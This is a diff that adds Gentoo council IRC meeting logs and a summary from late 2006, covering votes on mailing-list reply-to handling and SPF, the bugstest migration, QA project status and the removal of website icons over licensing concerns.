+[15:09] <Kugelfang> Don't change the current behaviour of reply-to munging for all gentoo mailing lists, including gentoo-core
+[15:10] <Kugelfang> did we agree on that?
+[15:10] <kloeri> Kugelfang: yes
+[15:10] <Flameeyes> Kugelfang, yes
+[15:10] <agaffney> I believe so
+[15:10] <Kugelfang> good
+[15:10] <kingtaco|laptop> yes
+[15:10] <Kugelfang> SPF:
+[15:10] <Kugelfang> for the first, i'd like to voice kurt, if he's available
+[15:10] <robbat2> err, I didn't see a final vote from spanky
+[15:10] <Kugelfang> @SpanKY> if you're going with "dont change existing behavior" then whatever, that's fine
+[15:10] <kingtaco|laptop> robbat2, "thats fine"
+[15:10] <robbat2> ok
+[15:10] <Flameeyes> robbat2, he said he's fine, although he's hardly needed to confirm his own vote at this point :P
+[15:11] <Kugelfang> hm, kurt's not here
+[15:11] <kingtaco|laptop> Kugelfang, I've invited
+[15:11] <kingtaco|laptop> lets see if he's here
+[15:11] <kingtaco|laptop> wanna make it last?
+[15:11] <Kugelfang> hmm
+[15:11] <Flameeyes> fine by me
+[15:11] <agaffney> he's active
+[15:11] --> klieber (i=klieber@freenode/facilities-host/gentoo/klieber) has joined #gentoo-council
+[15:11] <kingtaco|laptop> ok
+[15:11] <SpanKY> do we need him to state anything else
+[15:11] --- kingtaco|laptop sets modes [#gentoo-council +v klieber]
+[15:11] <SpanKY> he's already posted enough info
+[15:11] --- Kugelfang sets modes [#gentoo-council +v kingtaco|laptop]
+[15:11] <Kugelfang> ups
+[15:11] --> dostrow (n=dostrow@gentoo/developer/dostrow) has joined #gentoo-council
+[15:12] <SpanKY> http://www.gentoo.org/proj/en/infrastructure/spf.xml
+[15:12] <Kugelfang> SpanKY: i got a question
+[15:12] --> welp (n=welp@gentoo/contributor/welp) has joined #gentoo-council
+[15:12] <Kugelfang> klieber: hi, thanks for joining
+[15:12] <klieber> 'lo
+[15:12] <Kugelfang> klieber: i got one question regarding to our current setup
+[15:12] <agaffney> klieber: did you state how you got the mail sent from your gmail with your @gentoo.org in From: to give *negative* score in SA?
+[15:12] <klieber> agaffney: because it was sent via a valid MX for that domain.
+[15:13] <klieber> via the return-path
+[15:13] <robbat2> valid MX for the domain in the return path
+[15:13] <Kugelfang> klieber: why do we use the TXT record still, though there has been an SPF record added to DNS?
+[15:13] <klieber> Kugelfang: the SPF record is a TXT record
+[15:13] <Kugelfang> klieber: not according to the RFC
+[15:13] <klieber> that's what you put in DNS -- a TXT record (vs. A or MX)
+[15:13] <Kugelfang> klieber: it says for servers that don'T support it, you can use TXT
+[15:14] <Kugelfang> klieber: for other, you should use SPF
+[15:14] <klieber> 1 sec
+[15:14] <Kugelfang> sure
+[15:14] <klieber> I'm at work now
+[15:14] <SpanKY> is that really relevant to the issue at hand ?
+[15:14] <kingtaco|laptop> I don't think so
+[15:14] <agaffney> no
+[15:14] <kingtaco|laptop> Kugelfang, I think the debate is to use ?all *all or not publish spf
+[15:15] <wolf31o2> ok guys... I'm out
+[15:15] <Kugelfang> *shrug*, i just wanted to be covers for any decission that could come up
+[15:15] <-- wolf31o2 has quit ("Leaving")
+[15:15] --> wolf31o2|work (n=wolf31o2@gentoo/developer/wolf31o2) has joined #gentoo-council
+[15:15] --- ChanServ sets modes [#gentoo-council +o wolf31o2|work]
+[15:15] <klieber> http://www.openspf.org/dns.html <-- that says use txt.
+[15:15] <klieber> so if there is an SPF record, it's news to me
+[15:15] <kingtaco|laptop> Kugelfang, how does the dns type matter though?
+[15:15] <agaffney> klieber: in my current setup (at home and at work), I have my @g.o address set as an identity and send out through the local mail server. how would I set this up to get a negative score in SA?
+[15:15] <Kugelfang> kingtaco|laptop: well, i can discuss it with klieber later on
+[15:15] <agaffney> I bet most people's setups are closet to mine than your gmail example
+[15:16] <agaffney> *closer
+[15:16] <klieber> guys, i have a meeting -- I have to go.  sorry.
+[15:16] <Kugelfang> kingtaco|laptop: it was one of the points that critics bring up in regard to SPF
+[15:16] <klieber> agaffney: don't forge return-path, you won't piss off SPF.  thats the bottom line.
+[15:16] <SpanKY> thx klieber 
+[15:16] <kingtaco|laptop> Kugelfang, I don't see how it applies though
+[15:16] * klieber vanishes
+[15:16] <kingtaco|laptop> thanks klieber
+[15:16] <Flameeyes> agaffney, is the mail server authenticated or open?
+[15:16] <SpanKY> brb, FYI i vote in favor of keeping SPF as is
+[15:16] <agaffney> it only relays to internal IPs
+[15:17] <Flameeyes> authenticated mail servers usually just rewrite the Return-Path with the actual user used
+[15:17] <kingtaco|laptop> guys, can we agree that someone(infra?) will document how to use a 3rd party email server with spf?
+[15:17] <Flameeyes> [gmail for instance]
+[15:17] <agaffney> kingtaco|laptop: that would certainly be one solution
+[15:17] <kingtaco|laptop> so we don't end up spending an hour figuring it out :)
+[15:17] <Flameeyes> kingtaco|laptop, that would be useful, yes
+[15:17] <kingtaco|laptop> anyone oppose?
+[15:17] <Flameeyes> kingtaco|laptop, and also update the documentation about the use of the gentoo ssmtp server
+[15:17] <agaffney> with examples for all major MTAs (postfix, exim, qmail, etc.)
+[15:18] <kloeri> documentation on using third party and gentoo ssmtp server would solve it imo
+[15:18] <Flameeyes> kloeri, same for me
+[15:18] <kingtaco|laptop> ok, vote: infra updates smtp docs and adds docs about howto use spf.  spf stays the same, and if it's needed we're revisit
+[15:18] <kingtaco|laptop> *we'll
+[15:18] <Flameeyes> s/we're/we'll/ i suppose?
+[15:18] <kloeri> kingtaco|laptop: wfm
+[15:18] --- kingtaco|laptop has changed the topic to: http://www.gentoo.org/proj/en/council | Last log : http://www.gentoeso.org/proj/en/council/meeting-logs/20060914.txt | meeting @ Nov 9th 2000UTC
+[15:19] <Flameeyes> yes for me too
+[15:19] * kingtaco|laptop yes
+[15:19] <agaffney> yes, but it needs to be in a timely fashion
+[15:19] <Kugelfang> klieber: see RFC4408, Section 3.1.1
+[15:19] <kingtaco|laptop> agaffney, a month
+[15:19] <agaffney> kingtaco|laptop: WFM
+[15:19] <kingtaco|laptop> next council meeting
+[15:19] <robbat2> works for me
+[15:19] * Kugelfang votes yes
+[15:19] <kingtaco|laptop> SpanKY?
+[15:19] <agaffney> proper docs by the next meeting or SPF goes?
+[15:19] <agaffney> or atleast it gets "revisited" :P
+[15:20] <kloeri> proper docs
+[15:20] <kingtaco|laptop> agaffney, not really, it'll be reviewed
+[15:20] <SpanKY> [15:16] <SpanKY> brb, FYI i vote in favor of keeping SPF as is
+[15:20] <kingtaco|laptop> heh
+[15:20] <kingtaco|laptop> ok
+[15:20] <kingtaco|laptop> ok
+[15:20] <kingtaco|laptop> next topic then
+[15:20] <kingtaco|laptop> robbat2, wanna update us on bugs?
+[15:21] <robbat2> kingtaco|laptop, go play with bugstest.g.o folks
+[15:21] <robbat2> it's up
+[15:21] <kingtaco|laptop> robbat2, in "final" configuration?
+[15:21] <robbat2> i'm happy with the db stuff, but I think the web needs more tuning
+[15:21] <Kugelfang> yay
+[15:21] <kingtaco|laptop> ok
+[15:21] <kingtaco|laptop> any questions?
+[15:21] <Flameeyes> robbat2, do you have a timeframe?
+[15:21] <agaffney> what are some queries that would typically bring down the existing setup?
+[15:21] --- kingtaco|laptop sets modes [#gentoo-council +v spb]
+[15:21] <Kugelfang> robbat2: is jforman going to administrate it any further?
+[15:22] <Kugelfang> robbat2: just informational :-)
+[15:22] <kingtaco|laptop> Kugelfang, I'd think so
+[15:22] <kloeri> agaffney: "all kernel"
+[15:22] <robbat2> agaffney, 'ALL kernel' and 'ALL gentoo'
+[15:22] <kingtaco|laptop> all e
+[15:22] <Flameeyes> "ALL R"
+[15:22] <robbat2> Flameeyes, I don't have a timeframe
+[15:22] <kloeri> agaffney: queries returning insane amounts of results generally
+[15:22] <Kugelfang> querying ALL kernel
+[15:22] <Kugelfang> right now
+[15:22] * Flameeyes querying ALL R
+[15:22] <kingtaco|laptop> Flameeyes, depends on how well the test goes
+[15:23] <robbat2> ALL kernel is 36k results
+[15:23] <kingtaco|laptop> no bugs?  we'll consider moving after a couple weeks of testing
+[15:23] <Flameeyes> kingtaco|laptop, supposed so, but a question had to be done
+[15:23] <kloeri> ALL R is some 146k results iirc
+[15:23] <SpanKY> so who do i have to talk to in order to get bug regressions actually fixed
+[15:23] <SpanKY> filing bugs in bugzilla doesnt work
+[15:23] <Flameeyes> so a parallel ALL R and All amarok had the second return bugs with a decent timing
+[15:23] <SpanKY> i have no problem doing the work myself
+[15:23] <Kugelfang> ALL Kernel still hasn't finished :-P
+[15:23] <robbat2> SpanKY, email me if you have a regression on bugstest
+[15:24] <agaffney> I'm still waiting for a return on "ALL kernel" after 2-3 minutes
+[15:24] <Flameeyes> uhm
+[15:24] <Kugelfang> ah, mine just returend
+[15:24] <Flameeyes> the results for ALL amarok are mixed with bugs that has nothing to do with amarok
+[15:24] <SpanKY> robbat2: i'm talking user experience, not db load
+[15:24] <kingtaco|laptop> agaffney, it'll take ~5 minutes to start returning results
+[15:24] <SpanKY> robbat2: things like default search values, css fixups, etc...
+[15:24] <kloeri> Flameeyes: sure amarok isn't in a comment?
+[15:24] <Flameeyes> kloeri, not sure, will check now
+[15:25] <Flameeyes> yeah it's in comments
+[15:25] <kloeri> ALL searches subject + comments
+[15:25] <Flameeyes> is this a new thing?
+[15:25] <robbat2> jforman has said he doesn't have much time at all, so I'm doing my best with all issues for bugstest at the moment
+[15:25] <agaffney> ok, firefox is gobbling up memory like a mofo
+[15:25] <kloeri> nope
+[15:25] <Flameeyes> kloeri, used to check just subject
+[15:25] <agaffney> so it must be trying to dispaly the results
+[15:25] <Kugelfang> agaffney: use konqueror :-P
+[15:25] <kloeri> agaffney: yeah, I pretty much killed my laptop yesterday with "ALL R" :)
+[15:25] <kingtaco|laptop> agaffney, oh yeah, it's some GB of html :)
+[15:25] <agaffney> there we go
+[15:25] <SpanKY> robbat2: i know jforman doesnt have time, but when i've asked to help, i havent gotten any response
+[15:25] <agaffney> 36k for ALL kernel
+[15:26] <Kugelfang> kloeri: the correct query is 'ALL dev-lang/R'
+[15:26] <Flameeyes> kloeri, bugs.gentoo.org shows only for subjet, not comments
+[15:26] <Flameeyes> [which is good
+[15:26] <Flameeyes> because it asctually gives _decent_ results
+[15:26] <Flameeyes> in comments we have useflags that will make such a search request pointless
+[15:26] <kloeri> Kugelfang: no, I wanted ALL R because we we're trying to push bugstest as much as possible
+[15:26] <kingtaco|laptop> ok, so we're all good on bugs?
+[15:26] <-- dostrow has quit (Client Quit)
+[15:26] <robbat2> ok, so I should change the 'ALL' search to only search summaries
+[15:26] <Flameeyes> ALL R returning data now
+[15:26] <Kugelfang> kloeri: :-P
+[15:26] <Flameeyes> robbat2, would be appreciated, yes
+[15:26] <agaffney> robbat2: what's different about the bugstest setup?
+[15:27] <robbat2> agaffney, dual database backend, and I've gotten the searching stuff totally parallized between the two databases
+[15:27] <robbat2> one sec, i'll give you a cheesy diagram
+[15:28] <Kugelfang> hmm, cheese
+[15:28] <kingtaco|laptop> can we move this to the open discussion?
+[15:28] <robbat2> Slave1 <--- (DB1 <--> DB2) --> Slave2
+[15:28] <robbat2> sure
+[15:28] <kingtaco|laptop> kk
+[15:28] <agaffney> did we forget about QA?
+[15:28] <Kugelfang> no
+[15:28] <kingtaco|laptop> that's next
+[15:28] <Kugelfang> agaffney: that's comming now
+[15:28] <SpanKY> i thought the last two items were pretty much open discussion
+[15:28] <agaffney> ah
+[15:28] <Kugelfang> spb: ping?
+[15:28] <Flameeyes> qa issues, kloeri want to talk?
+[15:29] <kingtaco|laptop> spb, consider yourself poked
+[15:29] <kingtaco|laptop> SpanKY, pretty much
+[15:29] <kloeri> yup, I'll give a quick update on QA and hopefully spb will be around to answer questions
+[15:29] <kingtaco|laptop> SpanKY, I'll -m in a minute
+[15:30] <agaffney> robbat2: can I pick your brain about that setup in a little while?
+[15:30] <robbat2> agaffney, yeah
+[15:30] <robbat2> find me in -infra about it
+[15:30] <kloeri> as soon as spb manage to free up some time he wants to start work on EAPI-0 and package manager specification documents
+[15:30] <kloeri> that's the big stuff more or less
+[15:30] <kingtaco|laptop> when will he "have time"?
+[15:31] <Kugelfang> i guess that means real life issues?
+[15:31] <kingtaco|laptop> having guidelines will help avoid a lot of the fighting that goes one
+[15:31] <kingtaco|laptop> *on
+[15:31] <kloeri> smaller items includes working on implementing GLEP 48, doing more automated QA scans and going through all the QA team members and seeing who wants to do what etc.
+[15:31] <kloeri> Kugelfang: he's busy with finishing university currently
+[15:31] <Kugelfang> ah, i see
+[15:32] <agaffney> school is overrated
+[15:32] <Kugelfang> that surely has priorit y:-)
+[15:32] <Kugelfang> agaffney: pfff
+[15:32] <kingtaco|laptop> ok, so I guess we will need to revisit again next month?
+[15:32] <Kugelfang> probably
+[15:32] <kloeri> as for when he'll have time I can't answer that
+[15:32] <kingtaco|laptop> kloeri, any other info?
+[15:33] <Kugelfang> is there anything to vote one? or can i get back to the birthday party upstairs? :-P
+[15:33] <kingtaco|laptop> just open discussion now I think
+[15:33] <kingtaco|laptop> anyone have any other issues?
+[15:33] <Kugelfang> coolies....
+[15:33] <kingtaco|laptop> before open floor?
+[15:33] <Kugelfang> i certainly don't
+[15:33] * agaffney has an issue with the fact he wasn't invited to the birthday parts upstairs
+[15:33] <agaffney> *party
+[15:33] <Kugelfang> that was a quick thing
+[15:33] <kloeri> I asked him who's going to work on EAPI-0 and PMS and he said QA would be in charge but that interested parties were free to submit docs, patches etc.
+[15:33] <Kugelfang> agaffney: :-P
+[15:33] <agaffney> Kugelfang: save me cake!
+[15:34] <Kugelfang> ah, right, the location of preliminary EAPI-0:
+[15:34] <Flameeyes> err sorry had problems with the ALL r results
+[15:34] <kloeri> some paludis people are very interested and portage team and ferringb have expressed interest in helping as well
+[15:34] <Kugelfang> svn.pioto.org
+[15:34] <kingtaco|laptop> aight
+[15:34] <kloeri> Kugelfang: that's something we need to figure out later I think
+[15:34] <Kugelfang> svn:// works, so people can do nice patches, too :-)
+[15:34] --> dostrow (n=dostrow@gentoo/developer/dostrow) has joined #gentoo-council
+[15:35] <Kugelfang> kloeri: as it is svn, it can easily be migrated later on
+[15:35] --- kingtaco|laptop sets modes [#gentoo-council -m]
+[15:35] <kingtaco|laptop> aight, open floor
+[15:35] <kloeri> there's some !gentoo devs that could be quite valuable helping with the EAPI / PSM documentation but that raises the whole debate about things not being on gentoo infra again
+[15:35] <Kugelfang> http://svn.pioto.org/viewvc/paludis/scratch/eapispec/
+[15:35] <kloeri> maybe we could use overlays.g.o for that
+[15:35] --> musikc (n=musikc@mail.erwinpenland.com) has joined #gentoo-council
+[15:35] --- agaffney sets modes [#gentoo-council -o agaffney]
+[15:35] <kingtaco|laptop> kloeri, I think we addressed that, for it to be "official" it has to be on gentoo hardware
+[15:35] <kloeri> kingtaco|laptop: indeed
+[15:35] <Kugelfang> kloeri: or we can use this until it has at least a 'draft' status, no?
+[15:35] <Kugelfang> kloeri: besides, this is very open
+[15:36] <kingtaco|laptop> devmanual set prescedence
+[15:36] <Kugelfang> kloeri: pioto has his thumb on the repo
+[15:36] <kloeri> overlays.g.o could probably be a middle ground as it's official gentoo infra and "outsiders" can get access as well
+[15:36] --> _masterdriverz_ (n=MasterDr@cpc3-bexl4-0-0-cust498.bmly.cable.ntl.com) has joined #gentoo-council
+[15:37] <kloeri> anyway, I don't believe documentation is very far at all atm so it's probably something we need to get back to later when something materializes
+[15:37] --> ferringb (n=bharring@c-24-21-135-117.hsd1.mn.comcast.net) has joined #gentoo-council
+[15:37] <Kugelfang> so we can open the floor now?
+[15:37] <kingtaco|laptop> I did
+[15:38] <Kugelfang> ah, up there
+[15:38] <Kugelfang> *nod*
+[15:38] <kingtaco|laptop> people, speak now or wait another month!
+[15:38] <ferringb> boobies!
+[15:38] <Kugelfang> ...
+[15:38] <kingtaco|laptop> heh
+[15:38] <ferringb> :)
+[15:38] <Flameeyes> if wolf31o2 was here I would ask about the icons but .. next month :P
+[15:39] <robbat2> anybody in the audience have questions etc?
+[15:39] <robbat2> or can we all pack up and go home?
+[15:39] <tove> robbat2: the tree signing?
+[15:40] <robbat2> tove: I haven't touched for the last few weeks while working on anoncvs and bugstest, sorry
+[15:41] <nightmorph|amd64> (from the floor) so, if i understand it correctly, the posted workarounds for the reply-to cruft will be added to the devmanual?
+[15:41] <Flameeyes> the colour of the soft icecream machine?
+[15:41] <Flameeyes> nightmorph|amd64, I'd rather say dev handbook than devmanual, as it's not a "technical" view
+[15:42] <kingtaco|laptop> nightmorph|amd64, it will be documented
+[15:42] <nightmorph|amd64> ah yes, i meant the handbook
+[15:42] <ferringb> sidenote related to eapi=0...
+[15:42] <nightmorph|amd64> fantabulous! i knew i voted for the council for this reason :)
+[15:42] <ferringb> bug 152127
+[15:42] <kloeri> yes, I stupidly volunteered to document that :)
+[15:42] <kingtaco|laptop> kloeri, someone else already did the work, you just gotta xml it and commit
+[15:43] <agaffney> Flameeyes: what icons?
+[15:43] <kloeri> kingtaco|laptop: yeah, I'm not entirely crazy after all :)
+[15:44] <Flameeyes> agaffney, on the site
+[15:44] <Flameeyes> agaffney, we have some icons that are not exactly legal (modified versions of windows's software, lgpl-licensed icons not respecting it ...
+[15:44] <agaffney> ah
+[15:45] <kingtaco|laptop> I think neysx is trying to fix the icons
+[15:45] <kingtaco|laptop> he posted a bug for a change to the xmlcheck script on cvs
+[15:45] <kingtaco|laptop> Kugelfang, maybe you can do that
+[15:45] <Kugelfang> i have no clue about cvs
+[15:45] <Kugelfang> i'm an svn man
+[15:45] <kingtaco|laptop> ok
+[15:45] <Kugelfang> and i think pylon already did it
+[15:46] <kingtaco|laptop> well someone will do it
+[15:46] <kingtaco|laptop> and I bet neysx will clean it up
+[15:46] <Kugelfang> 19:36 <+CIA-1> pylon * CVSROOT/checkxml.pl: Added ico to the allowed filetypes; bug #154544.
+[15:46] <Kugelfang> 19:36 < jeeves> CIA-1: https://bugs.gentoo.org/154544 nor, P2, All, neysx@gentoo.org->infra-bugs@gentoo.org, NEW, pending, Please add *.ico to the list of allowed file types
+[15:46] <Flameeyes> kingtaco|laptop, the quick fix is to remove them for now, but the issue is still open since last year
+[15:46] * Kugelfang goes to the party now
+[15:46] <Kugelfang> see you guys
+[15:47] <Flameeyes> night danny
+[15:47] <kingtaco|laptop> see ya danny
+[15:47] <Flameeyes> closing here then, who's going to put log and summary?
+[15:47] <kloeri> later Kugelfang
+[15:47] <kloeri> Flameeyes: me
+[15:47] <-- ferringb (n=bharring@c-24-21-135-117.hsd1.mn.comcast.net) has left #gentoo-council
+[15:49] --> spb- (n=christel@gentoo/developer/spb) has joined #gentoo-council
+[15:50] <kloeri> spb-: meeting just finished, thanks and enjoy your evening :)
+[15:50] <spb-> sorry if i be late, beu got us lost
+[15:50] --- bonsaikitten is now known as AmazingPudding
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20061214-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20061214-summary.txt
new file mode 100644
index 00000000..83eceefd
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20061214-summary.txt
@@ -0,0 +1,10 @@
+Issues discussed:
+- Removal of icons from http://www.gentoo.org due to possible licensing
+  issues. The issue ended up being refered to Trustees who decided to
+  remove the icons.
+- Status of documentation on Reply-To and SPF. This isn't finished yet
+  but is expected do be done soon.
+- Status on bugstest / bugs.gentoo.org. There's still a couple minor
+  issues that needs to be fixed but Robin Johnson (robbat2) hope we can
+  switch over to bugstest 23 dec.
+- Short discussion about what's happening in the QA project.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20061214.txt b/xml/htdocs/proj/en/council/meeting-logs/20061214.txt
new file mode 100644
index 00000000..0e22cf82
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20061214.txt
@@ -0,0 +1,446 @@
+20:59 <@robbat2> kloeri, Kugelfang, SpanKY, you here?
+20:59 < vapier> moo
+20:59 <@FlameBook> kingtaco?
+20:59 < vapier> how do you rebind a channel in bx to a window ?
+20:59 <@kloeri> yup
+21:00 < vapier> ah here we go
+21:00 <@FlameBook> somebody knows why kingtaco is not here?
+21:00 < vapier> i may pop in and out
+21:00 <@wolf31o2|mobile> nope
+21:01 <@Kugelfang> heya there
+21:02  * Kugelfang is now available, too -)
+21:02 <@FlameBook> do we start?
+21:02 <@robbat2> just missing kingtaco
+21:03 <@FlameBook> yeah pinged him in #-dev
+21:03 <@Kugelfang> oh
+21:03 <@FlameBook> he was around a few mins ago
+21:03 <@Kugelfang> well, he'll pop up eventually i guess :-)
+21:04 <@FlameBook> so let's start with an easy one
+21:04 -!- mode/#gentoo-council [+m] by FlameBook
+21:05 <@FlameBook> did you read my mail about icons we have on the site'
+21:05 <@robbat2> what all is on the agenda
+21:05 <@FlameBook> ?
+21:05 <@wolf31o2|mobile> I did... and I agree that we should probably unlink them from the site until it can be cleared up by the trustees
+21:06 <@FlameBook> trustees never cleared it up in more than one year
+21:07 <@wolf31o2|mobile> until you said something, I'd not heard a thing about it
+21:07 <@FlameBook> the most clear statement we have is that we're not liable unless they demonstrate we broke copyright laws intentionally
+21:07 <@robbat2> yes, I saw the email. i don't think trustees are going to help - perhaps better to announce that unless the license issues are cleared up, they will be going away
+21:07 <@wolf31o2|mobile> basically, anything that was tasked to the old trustees, the new ones likely know nothing about
+21:07 <@FlameBook> wolf31o2|mobile, I mailed last year about that
+21:07 <@FlameBook> sigh -_-
+21:07 -!- mpagano [n=mpagano@pool-70-105-167-94.nwrknj.fios.verizon.net] has quit [Client Quit]
+21:07 <@kloeri> we have new trustees now so I think it'd be worth bringing it up with trustees again
+21:08 <@wolf31o2|mobile> right
+21:08 <@Kugelfang> remove until they have settled?
+21:08 <@wolf31o2|mobile> I would say so
+21:08 <@Kugelfang> nod
+21:08 <@FlameBook> I'd remove them and ask for new artists
+21:08 <@kloeri> they may or may not know about it but a reminder certainly won't hurt a bit
+21:08 <@wolf31o2|mobile> better safe than sorry and all that jazz
+21:08 <@FlameBook> it's impossible to clear them up anyway
+21:08 <@FlameBook> most of them are copied from Windows software
+21:08 <@Kugelfang> vote: remove the icons and let the trustees handle the situation afterwards
+21:08 <@wolf31o2|mobile> right... unless we simply removed any offending ones
+21:08 <@FlameBook> is anybody going to write Microsoft to ask permission to use them? :D
+21:08 <@wolf31o2|mobile> Kugelfang: yes
+21:08 <@Kugelfang> vote: yes
+21:08 <@kloeri> yes
+21:09 <@robbat2> vote: yes
+21:09 <@FlameBook> Kugelfang, yes, although I'd rather take a definitive approach
+21:09 <@Kugelfang> phone
+21:09 <@wolf31o2|mobile> FlameBook: the "definitive" approach is they're being removed... if the trustees don't do anything beyond that, they're still removed
+21:09 <@robbat2> there's voicemail for kingtaco (thanks to solar), so he should be here soon
+21:10 <@FlameBook> wolf31o2|mobile, well, if we wait for trustees, we're "waiting to clear up"
+21:10 <@FlameBook> if we're just scratching them we're "asking new artists to contribute a true Gentoo icon set"
+21:10 <@robbat2> with all of the license issues clear
+21:10 <@FlameBook> right
+21:11 <@FlameBook> a new icon set, either original or derived, with a proper license
+21:11 <@Kugelfang> so your proposal is to remove them permanently?
+21:11 <@FlameBook> I'm not sure how much lila is related to gentoo, but it might as well be asked to made official
+21:11 <@FlameBook> Kugelfang, yes
+21:11 <@Kugelfang> i can live with that :-)
+21:13 <@Kugelfang> so new vote?
+21:13 <@wolf31o2|mobile> on what?
+21:13 <@Kugelfang> remove them permanently
+21:13 <@FlameBook> The Lila theme is a community project, originally created by Daniel G. Taylor and members of the Gentoo Linux community.
+21:13 <@FlameBook> http://www.lila-center.info/doku.php?id=about we might as well consider the idea of making these the suggested one or something
+21:14 -!- mode/#gentoo-council [+o vapier] by ChanServ
+21:14 <@wolf31o2|mobile> I would prefer that if we were to have an "official" icon theme that it at least attempt to match the other themes we have
+21:15 <@FlameBook> wolf31o2|mobile, the current one does not really match anything
+21:15 <@FlameBook> lila at least match the colour
+21:15 <@wolf31o2|mobile> so if the vote is just to drop the current icon set, then I'm giving a yes... if it involves including *any* current icon set as some sort of "official" set then I'd say no
+21:15 <@wolf31o2|mobile> I don't care about the current ones other than the fact that they are in violation of other people's IP
+21:15 <@vapier> lila isnt part of the icons on the Gentoo website
+21:16 <@Kugelfang> phone again
+21:16 <@FlameBook> I'd just remove the one in the website, and then lend it over to userrel
+21:16 <@kloeri> vapier: lila could be adapted instead of the current icons, that's what FlameBook is aiming at I think
+21:16 <@Kugelfang> i'm fine with either removing it permenently or just until the trustees have settled on it
+21:16 <@Kugelfang> biab
+21:16 <@wolf31o2|mobile> and lila doesn't match our themes... but again, I don't think that needs to have *anything* to do with the discussion, which should be focused 100% on the current set, which is in violation of several trademarks
+21:16 <@vapier> what themes
+21:16 <@vapier> the only themes we have are on the livecd
+21:17 <@wolf31o2|mobile> yes
+21:17 <@wolf31o2|mobile> those are the only current "gentoo" themes that I am aware of
+21:17 <@vapier> easier to transition livecd to lila than create something compeletely new to match livecd
+21:17 <@wolf31o2|mobile> I'm sorry, but I'm not putting that gay ass pastel purple on anything with my name on it
+21:17 <@wolf31o2|mobile> ;]
+21:17 <@FlameBook> just ignore the lila problem now
+21:18 <@FlameBook> consider just the icons on the website
+21:18 <@wolf31o2|mobile> thank you
+21:18 <@FlameBook> those, IMHO, has to go
+21:18 <@wolf31o2|mobile> agreed
+21:18 <@kloeri> agreed
+21:18 <@FlameBook> after that, we might ask userrel to handle it, or some other project
+21:19 <@FlameBook> but the icons on the site has to go quickly
+21:19 <@vapier> the purple on the livecd blows and everyone knows it ;p
+21:20 <@vapier> well just vote cause the discussion is going nowhere and our sense/ability to put together a decent theme is close to nil
+21:20 <@FlameBook> as vapier said
+21:20 <@FlameBook> so votes on removing the icons permanently and closing the discussion without asking trustees to clear anything up
+21:20 <@FlameBook> me: yes
+21:20 <@Kugelfang> yes
+21:20 <@robbat2> yes
+21:20 <@wolf31o2|mobile> yes
+21:20 <@kloeri> yes
+21:21 <@robbat2> vapier, your vote?
+21:21 <@vapier> whatever
+21:22 <@vapier> i imagine the icons will be fetchable via the forums, so it's fine to scrub from www
+21:22 <@robbat2> vapier, could you give a definitive yes/no
+21:22 <@vapier> sure
+21:23 <@FlameBook> so, robbat2 can you handle it as part of infra, or can you tell me who to ask to enact this?
+21:23 <@robbat2> 6 votes for, 1 absent
+21:23 <@robbat2> FlameBook, one of the web docs folks I think
+21:23 <@wolf31o2|mobile> neysx would be the best bet
+21:23 <@vapier> licensing is so lame
+21:24 -!- amne [n=amne@gentoo/developer/amne] has joined #gentoo-council
+21:24 <@FlameBook> okay next point? spf? how's the status on that?
+21:25 <@Kugelfang> anybody from infra who can tell us the status of the docs?
+21:25 <@Kugelfang> that's the only thing missing, right?
+21:25 <@kloeri> yes
+21:25 <@robbat2> not my side of infra
+21:26 <@kloeri> I was supposed to document some of it but haven't quite finished that yet due to RL constraints
+21:26 <@FlameBook> kloeri, do you need help with the Reply-To doc btw?
+21:27 <@kloeri> I mostly need to read what I've got one more time, making sure it's actually correct and makes sense + xml'ify it
+21:27 <@FlameBook> if you want, I can easily xmlify it
+21:27 <@kloeri> I definitely expect to get it done this weekend (I'm behind on a few different things so spending the weekend playing catch up)
+21:27 <@kloeri> xmlifying isn't a problem
+21:28 <@kloeri> it's not that much text anyway so it shouldn't take long adding a few xml tags
+21:28 <@kloeri> I'm more concerned about making sure it's actually correct before committing any junk :)
+21:30 <@FlameBook> so, let's just wait a it more about spf doc, hoping that it can actually be addressed?
+21:30 <@kloeri> infra was supposed to document some sample configurations of using dev.g.o smtp iirc
+21:30 <@Kugelfang> FlameBook: nod
+21:30 <@kloeri> yes
+21:30 <@FlameBook> kloeri, and change the doc so that does not say that the smtp is only for who can't really do otherwise
+21:30 <@kloeri> FlameBook: right
+21:31 <@vapier> i'm satisfied
+21:31 <@FlameBook> just want to be sure, if next month we'll be still waiting, it would make us a bunch of clowns..
+21:31 <@robbat2> yup, thats all fine
+21:31 <@FlameBook> [at least waiting without any progress on it]
+21:32 <@kloeri> that's not going to happen - at least not my part of it
+21:32 <@FlameBook> kloeri, thanks, but I was actually concerned about SPF
+21:34 <@kloeri> well, I can't answer on infras behalf - think you need kingtaco in this case
+21:34 <@FlameBook> and he's the one missing :/
+21:34 <@FlameBook> robbat2, what remains on agenda?
+21:34 <@robbat2> FlameBook, not sure, that's why I asked what was on the agenda at the start!
+21:34 <@FlameBook> [after two items from me, I'd leave some space to someone else before the last one :P]
+21:35 <@wolf31o2|mobile> robbat2: how about an update on bugstest/bugs?
+21:35 <@vapier> that'd be nice, bugs.g.o just gets worse everyday
+21:36 <@robbat2> bugstest is up, there's two more enhancements that people have asked for, next weekend is a possible for moving
+21:36 <@wolf31o2|mobile> nice
+21:36 <@FlameBook> next 16/12 or 23/12?
+21:37 <@vapier> robbat2: who is taking care of bugs now ?  you ?
+21:37 <@vapier> jforman seems to have peaced out
+21:37 <@robbat2> 23/12
+21:37 <@robbat2> but sooner might happen if bugs.g.o gets really bad
+21:38 <@FlameBook> robbat2, is utf-8 fixed or fixable easily?
+21:38 <@robbat2> the utf-8 it turns out wasn't an actual bug in bugzilla, just in how we did the test migration
+21:38 <@kloeri> bugs.g.o is already really bad imo
+21:38 <@Kugelfang> definitely
+21:39 <@FlameBook> so anybody has an idea on what is going on with qa? do we have a qa project at all at the moment?
+21:40 <@Kugelfang> we do
+21:40 <@kloeri> spb is actually working on EAPI docs and eroyf are working on setting up automated QA scans
+21:40 <@Kugelfang> sbp just finished his studies and is back on open source work now
+21:40 <@FlameBook> and who is addressing the shadowy things for which we still miss a policy?
+21:41 <@wolf31o2|mobile> I've been doing weekly builds for both RelEng/QA
+21:41  * FlameBook poins to /usr/libexec vs /usr/lib/misc
+21:41 <@kloeri> I'm providing boxes etc. for the qa scans and try to help get that part set up
+21:41 <@vapier> robbat2: so who is taking care of bugs now ?  you ? ;p
